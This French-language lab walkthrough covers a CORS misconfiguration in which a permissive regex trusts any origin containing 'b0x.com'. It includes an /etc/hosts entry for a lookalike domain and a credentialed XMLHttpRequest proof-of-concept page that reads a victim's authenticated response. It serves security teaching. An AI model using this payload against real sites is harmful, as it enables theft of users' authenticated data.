> For the complete documentation index, see [llms.txt](https://sharpforce.gitbook.io/cybersecurity/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sharpforce.gitbook.io/cybersecurity/walkthroughs/deliberately-vulnerable/cors-vulnerable-lab/application-has-bad-regex-implementation-to-check-trusted-origin.md).

# Application has bad "regex" Implementation to check Trusted Origin

Le second challenge propose une mauvaise configuration causée par l'utilisation d'une regex trop permissive :

![](/files/-LxRFUBDJzULdEVp_w2k)

En effet, il suffit simplement que le site (le nom de domaine) demandant la ressource possède l'occurrence `b0x.com`  pour être autorisé à accéder Sans cela, la requête sera bloquée par CORS :

![](/files/-LxRGJNEX0aSqMimObCb)

Pour simuler un nom de domaine malicieux mais contenant l'occurrence souhaité, je modifie mon fichier `/etc/hosts` :

```
192.168.56.182    maliciousb0x.com
```

Le script hébergé sur le serveur malicieux reste le même que pour le précédent challenge :

```markup
<html>
  <head>
    <title>CORS vulnerable lab - Bad regex implementation</title>
  </head>

  <body>
    <script>
      var xhr = new XMLHttpRequest();

      xhr.open('GET', 'http://192.168.56.184/bad_regex.php', true);
      xhr.withCredentials = true;

      xhr.onreadystatechange = function() {
        if (this.readyState === XMLHttpRequest.DONE && this.status === 200) {
          console.log(xhr.response);                    
        }
      }

      xhr.send();
    </script> 
  </body>
</html>
```

Le contenu du site vulnérable s'affiche bien dans la console lorsque la victime visite la page malicieuse :

![](/files/-LxRHNtbVFI4p-DALgQS)

La réponse lors de l'accès à la ressource contient bien l'entête CORS attendu :

![](/files/-LxRHgeQIlzPNDTEDQEm)
